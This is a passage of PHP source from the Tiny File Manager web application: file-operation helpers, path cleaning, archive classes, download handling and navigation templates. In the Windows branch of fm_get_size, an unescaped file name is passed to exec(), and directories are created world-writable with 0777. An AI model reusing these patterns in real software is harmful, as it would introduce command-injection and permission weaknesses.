{
    if (is_link($path)) {
        return unlink($path);
    } elseif (is_dir($path)) {
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (!fm_rdelete($path . '/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return ($ok) ? rmdir($path) : false;
    } elseif (is_file($path)) {
        return unlink($path);
    }
    return false;
}

/**
 * Recursive chmod
 * @param string $path
 * @param int $filemode
 * @param int $dirmode
 * @return bool
 * @todo Will use in mass chmod
 */
function fm_rchmod($path, $filemode, $dirmode)
{
    if (is_dir($path)) {
        if (!chmod($path, $dirmode)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) {
                        return false;
                    }
                }
            }
        }
        return true;
    } elseif (is_link($path)) {
        return true;
    } elseif (is_file($path)) {
        return chmod($path, $filemode);
    }
    return false;
}

/**
 * Check the file extension which is allowed or not
 * @param string $filename
 * @return bool
 */
function fm_is_valid_ext($filename)
{
    $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false;

    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    return ($isFileAllowed) ? true : false;
}

/**
 * Safely rename
 * @param string $old
 * @param string $new
 * @return bool|null
 */
function fm_rename($old, $new)
{
    $isFileAllowed = fm_is_valid_ext($new);

    if(!$isFileAllowed) return false;

    return (!file_exists($new) && file_exists($old)) ? rename($old, $new) : null;
}

/**
 * Copy file or folder (recursively).
 * @param string $path
 * @param string $dest
 * @param bool $upd Update files
 * @param bool $force Create folder with same names instead file
 * @return bool
 */
function fm_rcopy($path, $dest, $upd = true, $force = true)
{
    if (is_dir($path)) {
        if (!fm_mkdir($dest, $force)) {
            return false;
        }
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return $ok;
    } elseif (is_file($path)) {
        return fm_copy($path, $dest, $upd);
    }
    return false;
}

/**
 * Safely create folder
 * @param string $dir
 * @param bool $force
 * @return bool
 */
function fm_mkdir($dir, $force)
{
    if (file_exists($dir)) {
        if (is_dir($dir)) {
            return $dir;
        } elseif (!$force) {
            return false;
        }
        unlink($dir);
    }
    return mkdir($dir, 0777, true);
}

/**
 * Safely copy file
 * @param string $f1
 * @param string $f2
 * @param bool $upd Indicates if file should be updated with new content
 * @return bool
 */
function fm_copy($f1, $f2, $upd)
{
    $time1 = filemtime($f1);
    if (file_exists($f2)) {
        $time2 = filemtime($f2);
        if ($time2 >= $time1 && $upd) {
            return false;
        }
    }
    $ok = copy($f1, $f2);
    if ($ok) {
        touch($f2, $time1);
    }
    return $ok;
}

/**
 * Get mime type
 * @param string $file_path
 * @return mixed|string
 */
function fm_get_mime_type($file_path)
{
    if (function_exists('finfo_open')) {
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mime = finfo_file($finfo, $file_path);
        finfo_close($finfo);
        return $mime;
    } elseif (function_exists('mime_content_type')) {
        return mime_content_type($file_path);
    } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
        $file = escapeshellarg($file_path);
        $mime = shell_exec('file -bi ' . $file);
        return $mime;
    } else {
        return '--';
    }
}

/**
 * HTTP Redirect
 * @param string $url
 * @param int $code
 */
function fm_redirect($url, $code = 302)
{
    header('Location: ' . $url, true, $code);
    exit;
}

/**
 * Path traversal prevention and clean the url
 * It replaces (consecutive) occurrences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine.
 * @param $path
 * @return string
 */
function get_absolute_path($path) {
    $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
    $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
    $absolutes = array();
    foreach ($parts as $part) {
        if ('.' == $part) continue;
        if ('..' == $part) {
            array_pop($absolutes);
        } else {
            $absolutes[] = $part;
        }
    }
    return implode(DIRECTORY_SEPARATOR, $absolutes);
}

/**
 * Clean path
 * @param string $path
 * @return string
 */
function fm_clean_path($path, $trim = true)
{
    $path = $trim ? trim($path) : $path;
    $path = trim($path, '\\/');
    $path = str_replace(array('../', '..\\'), '', $path);
    $path =  get_absolute_path($path);
    if ($path == '..') {
        $path = '';
    }
    return str_replace('\\', '/', $path);
}

/**
 * Get parent path
 * @param string $path
 * @return bool|string
 */
function fm_get_parent_path($path)
{
    $path = fm_clean_path($path);
    if ($path != '') {
        $array = explode('/', $path);
        if (count($array) > 1) {
            $array = array_slice($array, 0, -1);
            return implode('/', $array);
        }
        return '';
    }
    return false;
}

/**
 * Check file is in exclude list
 * @param string $file
 * @return bool
 */
function fm_is_exclude_items($file) {
    $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
    if(!in_array($file, FM_EXCLUDE_ITEMS) && !in_array("*.$ext", FM_EXCLUDE_ITEMS)) {
        return true;
    }
    return false;
}

/**
 * get language translations from json file
 * @param int $tr
 * @return array
 */
function fm_get_translations($tr) {
    try {
        $content = @file_get_contents('translation.json');
        if($content !== FALSE) {
            $lng = json_decode($content, TRUE);
            global $lang_list;
            foreach ($lng["language"] as $key => $value)
            {
                $code = $value["code"];
                $lang_list[$code] = $value["name"];
                if ($tr)
                    $tr[$code] = $value["translation"];
            }
            return $tr;
        }

    }
    catch (Exception $e) {
        echo $e;
    }
}

/**
 * @param $file
 * Recover all file sizes larger than > 2GB.
 * Works on php 32bits and 64bits and supports linux
 * @return int|string
 */
function fm_get_size($file)
{
    static $iswin;
    static $isdarwin;
    if (!isset($iswin)) {
        $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN');
    } 
    if (!isset($isdarwin)) {
        $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN");
    }

    static $exec_works;
    if (!isset($exec_works)) {
        $exec_works = (function_exists('exec') && !ini_get('safe_mode') && @exec('echo EXEC') == 'EXEC');
    }

    // try a shell command
    if ($exec_works) {
        $arg = escapeshellarg($file);
        $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg");
        @exec($cmd, $output);
        if (is_array($output) && ctype_digit($size = trim(implode("\n", $output)))) {
            return $size;
        }
    }

    // try the Windows COM interface
    if ($iswin && class_exists("COM")) {
        try {
            $fsobj = new COM('Scripting.FileSystemObject');
            $f = $fsobj->GetFile( realpath($file) );
            $size = $f->Size;
        } catch (Exception $e) {
            $size = null;
        }
        if (ctype_digit($size)) {
            return $size;
        }
    }

    // if all else fails
    return filesize($file);
}

/**
 * Get nice filesize
 * @param int $size
 * @return string
 */
function fm_get_filesize($size)
{
    $size = (float) $size;
    $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');
    $power = $size > 0 ? floor(log($size, 1024)) : 0;
    return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]);
}

/**
 * Get director total size
 * @param string $directory
 * @return int
 */
function fm_get_directorysize($directory) {
    global $calc_folder;
    if ($calc_folder==true) { //  Slower output
      $size = 0;  $count= 0;  $dirCount= 0;
    foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory)) as $file)
    if ($file->isFile())
        {   $size+=$file->getSize();
            $count++;
        }
    else if ($file->isDir()) { $dirCount++; }
    // return [$size, $count, $dirCount];
    return $size;
    }
    else return 'Folder'; //  Quick output
}

/**
 * Get info about zip archive
 * @param string $path
 * @return array|bool
 */
function fm_get_zif_info($path, $ext) {
    if ($ext == 'zip' && function_exists('zip_open')) {
        $arch = zip_open($path);
        if ($arch) {
            $filenames = array();
            while ($zip_entry = zip_read($arch)) {
                $zip_name = zip_entry_name($zip_entry);
                $zip_folder = substr($zip_name, -1) == '/';
                $filenames[] = array(
                    'name' => $zip_name,
                    'filesize' => zip_entry_filesize($zip_entry),
                    'compressed_size' => zip_entry_compressedsize($zip_entry),
                    'folder' => $zip_folder
                    //'compression_method' => zip_entry_compressionmethod($zip_entry),
                );
            }
            zip_close($arch);
            return $filenames;
        }
    } elseif($ext == 'tar' && class_exists('PharData')) {
        $archive = new PharData($path);
        $filenames = array();
        foreach(new RecursiveIteratorIterator($archive) as $file) {
            $parent_info = $file->getPathInfo();
            $zip_name = str_replace("phar://".$path, '', $file->getPathName());
            $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0);
            $zip_folder = $parent_info->getFileName();
            $zip_info = new SplFileInfo($file);
            $filenames[] = array(
                'name' => $zip_name,
                'filesize' => $zip_info->getSize(),
                'compressed_size' => $file->getCompressedSize(),
                'folder' => $zip_folder
            );
        }
        return $filenames;
    }
    return false;
}

/**
 * Encode html entities
 * @param string $text
 * @return string
 */
function fm_enc($text)
{
    return htmlspecialchars($text, ENT_QUOTES, 'UTF-8');
}

/**
 * Prevent XSS attacks
 * @param string $text
 * @return string
 */
function fm_isvalid_filename($text) {
    return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false;
}

/**
 * Save message in session
 * @param string $msg
 * @param string $status
 */
function fm_set_msg($msg, $status = 'ok')
{
    $_SESSION[FM_SESSION_ID]['message'] = $msg;
    $_SESSION[FM_SESSION_ID]['status'] = $status;
}

/**
 * Check if string is in UTF-8
 * @param string $string
 * @return int
 */
function fm_is_utf8($string)
{
    return preg_match('//u', $string);
}

/**
 * Convert file name to UTF-8 in Windows
 * @param string $filename
 * @return string
 */
function fm_convert_win($filename)
{
    if (FM_IS_WIN && function_exists('iconv')) {
        $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename);
    }
    return $filename;
}

/**
 * @param $obj
 * @return array
 */
function fm_object_to_array($obj)
{
    if (!is_object($obj) && !is_array($obj)) {
        return $obj;
    }
    if (is_object($obj)) {
        $obj = get_object_vars($obj);
    }
    return array_map('fm_object_to_array', $obj);
}

/**
 * Get CSS classname for file
 * @param string $path
 * @return string
 */
function fm_get_file_icon_class($path)
{
    // get extension
    $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));

    switch ($ext) {
        case 'ico':
        case 'gif':
        case 'jpg':
        case 'jpeg':
        case 'jpc':
        case 'jp2':
        case 'jpx':
        case 'xbm':
        case 'wbmp':
        case 'png':
        case 'bmp':
        case 'tif':
        case 'tiff':
        case 'svg':
            $img = 'fa fa-picture-o';
            break;
        case 'passwd':
        case 'ftpquota':
        case 'sql':
        case 'js':
        case 'json':
        case 'sh':
        case 'config':
        case 'twig':
        case 'tpl':
        case 'md':
        case 'gitignore':
        case 'c':
        case 'cpp':
        case 'cs':
        case 'py':
        case 'map':
        case 'lock':
        case 'dtd':
            $img = 'fa fa-file-code-o';
            break;
        case 'txt':
        case 'ini':
        case 'conf':
        case 'log':
        case 'htaccess':
            $img = 'fa fa-file-text-o';
            break;
        case 'css':
        case 'less':
        case 'sass':
        case 'scss':
            $img = 'fa fa-css3';
            break;
        case 'zip':
        case 'rar':
        case 'gz':
        case 'tar':
        case '7z':
            $img = 'fa fa-file-archive-o';
            break;
        case 'php':
        case 'php4':
        case 'php5':
        case 'phps':
        case 'phtml':
            $img = 'fa fa-code';
            break;
        case 'htm':
        case 'html':
        case 'shtml':
        case 'xhtml':
            $img = 'fa fa-html5';
            break;
        case 'xml':
        case 'xsl':
            $img = 'fa fa-file-excel-o';
            break;
        case 'wav':
        case 'mp3':
        case 'mp2':
        case 'm4a':
        case 'aac':
        case 'ogg':
        case 'oga':
        case 'wma':
        case 'mka':
        case 'flac':
        case 'ac3':
        case 'tds':
            $img = 'fa fa-music';
            break;
        case 'm3u':
        case 'm3u8':
        case 'pls':
        case 'cue':
            $img = 'fa fa-headphones';
            break;
        case 'avi':
        case 'mpg':
        case 'mpeg':
        case 'mp4':
        case 'm4v':
        case 'flv':
        case 'f4v':
        case 'ogm':
        case 'ogv':
        case 'mov':
        case 'mkv':
        case '3gp':
        case 'asf':
        case 'wmv':
            $img = 'fa fa-file-video-o';
            break;
        case 'eml':
        case 'msg':
            $img = 'fa fa-envelope-o';
            break;
        case 'xls':
        case 'xlsx':
        case 'ods':
            $img = 'fa fa-file-excel-o';
            break;
        case 'csv':
            $img = 'fa fa-file-text-o';
            break;
        case 'bak':
            $img = 'fa fa-clipboard';
            break;
        case 'doc':
        case 'docx':
        case 'odt':
            $img = 'fa fa-file-word-o';
            break;
        case 'ppt':
        case 'pptx':
            $img = 'fa fa-file-powerpoint-o';
            break;
        case 'ttf':
        case 'ttc':
        case 'otf':
        case 'woff':
        case 'woff2':
        case 'eot':
        case 'fon':
            $img = 'fa fa-font';
            break;
        case 'pdf':
            $img = 'fa fa-file-pdf-o';
            break;
        case 'psd':
        case 'ai':
        case 'eps':
        case 'fla':
        case 'swf':
            $img = 'fa fa-file-image-o';
            break;
        case 'exe':
        case 'msi':
            $img = 'fa fa-file-o';
            break;
        case 'bat':
            $img = 'fa fa-terminal';
            break;
        default:
            $img = 'fa fa-info-circle';
    }

    return $img;
}

/**
 * Get image files extensions
 * @return array
 */
function fm_get_image_exts()
{
    return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg');
}

/**
 * Get video files extensions
 * @return array
 */
function fm_get_video_exts()
{
    return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv');
}

/**
 * Get audio files extensions
 * @return array
 */
function fm_get_audio_exts()
{
    return array('wav', 'mp3', 'ogg', 'm4a');
}

/**
 * Get text file extensions
 * @return array
 */
function fm_get_text_exts()
{
    return array(
        'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'json', 'sh', 'config',
        'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue',
        'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py',
        'map', 'lock', 'dtd', 'svg', 'scss', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsx', 'jsp', 'jspx', 'cfm', 'cgi'
    );
}

/**
 * Get mime types of text files
 * @return array
 */
function fm_get_text_mimes()
{
    return array(
        'application/xml',
        'application/javascript',
        'application/x-javascript',
        'image/svg+xml',
        'message/rfc822',
    );
}

/**
 * Get file names of text files w/o extensions
 * @return array
 */
function fm_get_text_names()
{
    return array(
        'license',
        'readme',
        'authors',
        'contributors',
        'changelog',
    );
}

/**
 * Get online docs viewer supported files extensions
 * @return array
 */
function fm_get_onlineViewer_exts()
{
    return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods');
}

function fm_get_file_mimes($extension)
{
    $fileTypes['swf'] = 'application/x-shockwave-flash';
    $fileTypes['pdf'] = 'application/pdf';
    $fileTypes['exe'] = 'application/octet-stream';
    $fileTypes['zip'] = 'application/zip';
    $fileTypes['doc'] = 'application/msword';
    $fileTypes['xls'] = 'application/vnd.ms-excel';
    $fileTypes['ppt'] = 'application/vnd.ms-powerpoint';
    $fileTypes['gif'] = 'image/gif';
    $fileTypes['png'] = 'image/png';
    $fileTypes['jpeg'] = 'image/jpg';
    $fileTypes['jpg'] = 'image/jpg';
    $fileTypes['rar'] = 'application/rar';

    $fileTypes['ra'] = 'audio/x-pn-realaudio';
    $fileTypes['ram'] = 'audio/x-pn-realaudio';
    $fileTypes['ogg'] = 'audio/x-pn-realaudio';

    $fileTypes['wav'] = 'video/x-msvideo';
    $fileTypes['wmv'] = 'video/x-msvideo';
    $fileTypes['avi'] = 'video/x-msvideo';
    $fileTypes['asf'] = 'video/x-msvideo';
    $fileTypes['divx'] = 'video/x-msvideo';

    $fileTypes['mp3'] = 'audio/mpeg';
    $fileTypes['mp4'] = 'audio/mpeg';
    $fileTypes['mpeg'] = 'video/mpeg';
    $fileTypes['mpg'] = 'video/mpeg';
    $fileTypes['mpe'] = 'video/mpeg';
    $fileTypes['mov'] = 'video/quicktime';
    $fileTypes['swf'] = 'video/quicktime';
    $fileTypes['3gp'] = 'video/quicktime';
    $fileTypes['m4a'] = 'video/quicktime';
    $fileTypes['aac'] = 'video/quicktime';
    $fileTypes['m3u'] = 'video/quicktime';

    $fileTypes['php'] = ['application/x-php'];
    $fileTypes['html'] = ['text/html'];
    $fileTypes['txt'] = ['text/plain'];
    return $fileTypes[$extension];
}

/**
 * This function scans the files and folder recursively, and return matching files
 * @param string $dir
 * @param string $filter
 * @return json
 */
 function scan($dir, $filter = '') {
    $path = FM_ROOT_PATH.'/'.$dir;
     if($dir) {
         $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
         $rii = new RegexIterator($ite, "/(" . $filter . ")/i");

         $files = array();
         foreach ($rii as $file) {
             if (!$file->isDir()) {
                 $fileName = $file->getFilename();
                 $location = str_replace(FM_ROOT_PATH, '', $file->getPath());
                 $files[] = array(
                     "name" => $fileName,
                     "type" => "file",
                     "path" => $location,
                 );
             }
         }
         return $files;
     }
}

/*
Parameters: downloadFile(File Location, File Name,
max speed, is streaming
If streaming - videos will show as videos, images as images
instead of download prompt
https://stackoverflow.com/a/13821992/1164642
*/

function fm_download_file($fileLocation, $fileName, $chunkSize  = 1024)
{
    if (connection_status() != 0)
        return (false);
    $extension = pathinfo($fileName, PATHINFO_EXTENSION);

    $contentType = fm_get_file_mimes($extension);
    header("Cache-Control: public");
    header("Content-Transfer-Encoding: binary\n");
    header('Content-Type: $contentType');

    $contentDisposition = 'attachment';


    if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) {
        $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    } else {
        header("Content-Disposition: $contentDisposition;filename=\"$fileName\"");
    }

    header("Accept-Ranges: bytes");
    $range = 0;
    $size = filesize($fileLocation);

    if (isset($_SERVER['HTTP_RANGE'])) {
        list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']);
        str_replace($range, "-", $range);
        $size2 = $size - 1;
        $new_length = $size - $range;
        header("HTTP/1.1 206 Partial Content");
        header("Content-Length: $new_length");
        header("Content-Range: bytes $range$size2/$size");
    } else {
        $size2 = $size - 1;
        header("Content-Range: bytes 0-$size2/$size");
        header("Content-Length: " . $size);
    }

    if ($size == 0) {
        die('Zero byte file! Aborting download');
    }
    @ini_set('magic_quotes_runtime', 0);
    $fp = fopen("$fileLocation", "rb");

    fseek($fp, $range);

    while (!feof($fp) and (connection_status() == 0)) {
        set_time_limit(0);
        print(@fread($fp, 1024*$chunkSize));
        flush();
        ob_flush();
        sleep(1);
    }
    fclose($fp);

    return ((connection_status() == 0) and !connection_aborted());
}

function fm_get_theme() {
    $result = '';
    if(FM_THEME == "dark") {
        $result = "text-white bg-dark";
    }
    return $result;
}

/**
 * Class to work with zip files (using ZipArchive)
 */
class FM_Zipper
{
    private $zip;

    public function __construct()
    {
        $this->zip = new ZipArchive();
    }

    /**
     * Create archive with name $filename and files $files (RELATIVE PATHS!)
     * @param string $filename
     * @param array|string $files
     * @return bool
     */
    public function create($filename, $files)
    {
        $res = $this->zip->open($filename, ZipArchive::CREATE);
        if ($res !== true) {
            return false;
        }
        if (is_array($files)) {
            foreach ($files as $f) {
                if (!$this->addFileOrDir($f)) {
                    $this->zip->close();
                    return false;
                }
            }
            $this->zip->close();
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                $this->zip->close();
                return true;
            }
            return false;
        }
    }

    /**
     * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
     * @param string $filename
     * @param string $path
     * @return bool
     */
    public function unzip($filename, $path)
    {
        $res = $this->zip->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->zip->extractTo($path)) {
            $this->zip->close();
            return true;
        }
        return false;
    }

    /**
     * Add file/folder to archive
     * @param string $filename
     * @return bool
     */
    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            return $this->zip->addFile($filename);
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }

    /**
     * Add folder recursively
     * @param string $path
     * @return bool
     */
    private function addDir($path)
    {
        if (!$this->zip->addEmptyDir($path)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        if (!$this->zip->addFile($path . '/' . $file)) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}

/**
 * Class to work with Tar files (using PharData)
 */
class FM_Zipper_Tar
{
    private $tar;

    public function __construct()
    {
        $this->tar = null;
    }

    /**
     * Create archive with name $filename and files $files (RELATIVE PATHS!)
     * @param string $filename
     * @param array|string $files
     * @return bool
     */
    public function create($filename, $files)
    {
        $this->tar = new PharData($filename);
        if (is_array($files)) {
            foreach ($files as $f) {
                if (!$this->addFileOrDir($f)) {
                    return false;
                }
            }
            return true;
        } else {
            if ($this->addFileOrDir($files)) {
                return true;
            }
            return false;
        }
    }

    /**
     * Extract archive $filename to folder $path (RELATIVE OR ABSOLUTE PATHS)
     * @param string $filename
     * @param string $path
     * @return bool
     */
    public function unzip($filename, $path)
    {
        $res = $this->tar->open($filename);
        if ($res !== true) {
            return false;
        }
        if ($this->tar->extractTo($path)) {
            return true;
        }
        return false;
    }

    /**
     * Add file/folder to archive
     * @param string $filename
     * @return bool
     */
    private function addFileOrDir($filename)
    {
        if (is_file($filename)) {
            try {
                $this->tar->addFile($filename);
                return true;
            } catch (Exception $e) {
                return false;
            }
        } elseif (is_dir($filename)) {
            return $this->addDir($filename);
        }
        return false;
    }

    /**
     * Add folder recursively
     * @param string $path
     * @return bool
     */
    private function addDir($path)
    {
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' && $file != '..') {
                    if (is_dir($path . '/' . $file)) {
                        if (!$this->addDir($path . '/' . $file)) {
                            return false;
                        }
                    } elseif (is_file($path . '/' . $file)) {
                        try {
                            $this->tar->addFile($path . '/' . $file);
                        } catch (Exception $e) {
                            return false;
                        }
                    }
                }
            }
            return true;
        }
        return false;
    }
}



/**
 * Save Configuration
 */
 class FM_Config
{
     var $data;

    function __construct()
    {
        global $root_path, $root_url, $CONFIG;
        $fm_url = $root_url.$_SERVER["PHP_SELF"];
        $this->data = array(
            'lang' => 'en',
            'error_reporting' => true,
            'show_hidden' => true
        );
        $data = false;
        if (strlen($CONFIG)) {
            $data = fm_object_to_array(json_decode($CONFIG));
        } else {
            $msg = 'Tiny File Manager<br>Error: Cannot load configuration';
            if (substr($fm_url, -1) == '/') {
                $fm_url = rtrim($fm_url, '/');
                $msg .= '<br>';
                $msg .= '<br>Seems like you have a trailing slash on the URL.';
                $msg .= '<br>Try this link: <a href="' . $fm_url . '">' . $fm_url . '</a>';
            }
            die($msg);
        }
        if (is_array($data) && count($data)) $this->data = $data;
        else $this->save();
    }

    function save()
    {
        $fm_file = __FILE__;
        $var_name = '$CONFIG';
        $var_value = var_export(json_encode($this->data), true);
        $config_string = "<?php" . chr(13) . chr(10) . "//Default Configuration".chr(13) . chr(10)."$var_name = $var_value;" . chr(13) . chr(10);
        if (is_writable($fm_file)) {
            $lines = file($fm_file);
            if ($fh = @fopen($fm_file, "w")) {
                @fputs($fh, $config_string, strlen($config_string));
                for ($x = 3; $x < count($lines); $x++) {
                    @fputs($fh, $lines[$x], strlen($lines[$x]));
                }
                @fclose($fh);
            }
        }
    }
}



//--- templates functions

/**
 * Show nav block
 * @param string $path
 */
function fm_show_nav_path($path)
{
    global $lang, $sticky_navbar;
    $isStickyNavBar = $sticky_navbar ? 'fixed-top' : '';
    $getTheme = fm_get_theme();
    $getTheme .= " navbar-light";
    if(FM_THEME == "dark") {
        $getTheme .= " navbar-dark";
    } else {
        $getTheme .= " bg-white";
    }
    ?>
    <nav class="navbar navbar-expand-lg <?php echo $getTheme; ?> mb-4 main-nav <?php echo $isStickyNavBar ?>">
        <a class="navbar-brand" href=""> <?php echo lng('AppTitle') ?> </a>
        <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
            <span class="navbar-toggler-icon"></span>
        </button>
        <div class="collapse navbar-collapse" id="navbarSupportedContent">

            <?php
            $path = fm_clean_path($path);
            $root_url = "<a href='?p='><i class='fa fa-home' aria-hidden='true' title='" . FM_ROOT_PATH . "'></i></a>";
            $sep = '<i class="bread-crumb"> / </i>';
            if ($path != '') {
                $exploded = explode('/', $path);
                $count = count($exploded);
                $array = array();
                $parent = '';
                for ($i = 0; $i < $count; $i++) {
                    $parent = trim($parent . '/' . $exploded[$i], '/');
                    $parent_enc = urlencode($parent);
                    $array[] = "<a href='?p={$parent_enc}'>" . fm_enc(fm_convert_win($exploded[$i])) . "</a>";
                }
                $root_url .= $sep . implode($sep, $array);
            }
            echo '<div class="col-xs-6 col-sm-5">' . $root_url . '</div>';
            ?>

            <div class="col-xs-6 col-sm-7 text-right">
                <ul class="navbar-nav mr-auto float-right <?php echo fm_get_theme();  ?>">
                    <li class="nav-item mr-2">
                        <div class="input-group input-group-sm mr-1" style="margin-top:4px;">
                            <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon2" id="search-addon">
                            <div class="input-group-append">
                                <span class="input-group-text" id="search-addon2"><i class="fa fa-search"></i></span>
                            </div>
                            <div class="input-group-append btn-group">
                                <span class="input-group-text dropdown-toggle" id="search-addon2" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span>
                                  <div class="dropdown-menu dropdown-menu-right">
                                    <a class="dropdown-item" href="<?php echo $path2 = $path ? $path : '.'; ?>" id="js-search-modal" data-toggle="modal" data-target="#searchModal">Advanced Search</a>
                                  </div>
                            </div>
                        </div>
                    </li>
                    <?php if (!FM_READONLY): ?>
                    <li class="nav-item">
                        <a title="<?php echo lng('Upload') ?>" class="nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng('Upload') ?></a>
                    </li>
                    <li class="nav-item">
                        <a title="<?php echo lng('NewItem') ?>" class="nav-link" href="#createNewItem" data-toggle="modal" data-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng('NewItem') ?></a>
                    </li>
                    <?php endif; ?>
                    <?php if (FM_USE_AUTH): ?>
                    <li class="nav-item avatar dropdown">
                        <a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-user-circle"></i> <?php if(isset($_SESSION[FM_SESSION_ID]['logged'])) { echo $_SESSION[FM_SESSION_ID]['logged']; } ?></a>
                        <div class="dropdown-menu dropdown-menu-right <?php echo fm_get_theme(); ?>" aria-labelledby="navbarDropdownMenuLink-5">
                            <?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                            <?php endif ?>
                            <a title="<?php echo lng('Help') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng('Help') ?></a>
                            <a title="<?php echo lng('Logout') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng('Logout') ?></a>
                        </div>
                    </li>
                    <?php else: ?>
                        <?php if (!FM_READONLY): ?>
                            <li class="nav-item">
                                <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                            </li>
                        <?php endif; ?>
                    <?php endif; ?>
                </ul>
            </div>
        </div>
    </nav>
    <?php
}

/**
 * Show message from session
 */
function fm_show_message()
{
    if (isset($_SESSION[FM_SESSION_ID]['message'])) {
        $class = isset($_SESSION[FM_SESSION_ID]['status']) ? $_SESSION[FM_SESSION_ID]['status'] : 'ok';
        echo '<p class="message ' . $class . '">' . $_SESSION[FM_SESSION_ID]['message'] . '</p>';
        unset($_SESSION[FM_SESSION_ID]['message']);
        unset($_SESSION[FM_SESSION_ID]['status']);
    }
}

/**
 * Show page header in Login Form
 */
function fm_show_header_login()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");

global $lang, $root_url, $favicon_path;
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="Web based File Manager in PHP, Manage your files efficiently and easily with Tiny File Manager">
    <meta name="author" content="CCP Programmers">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
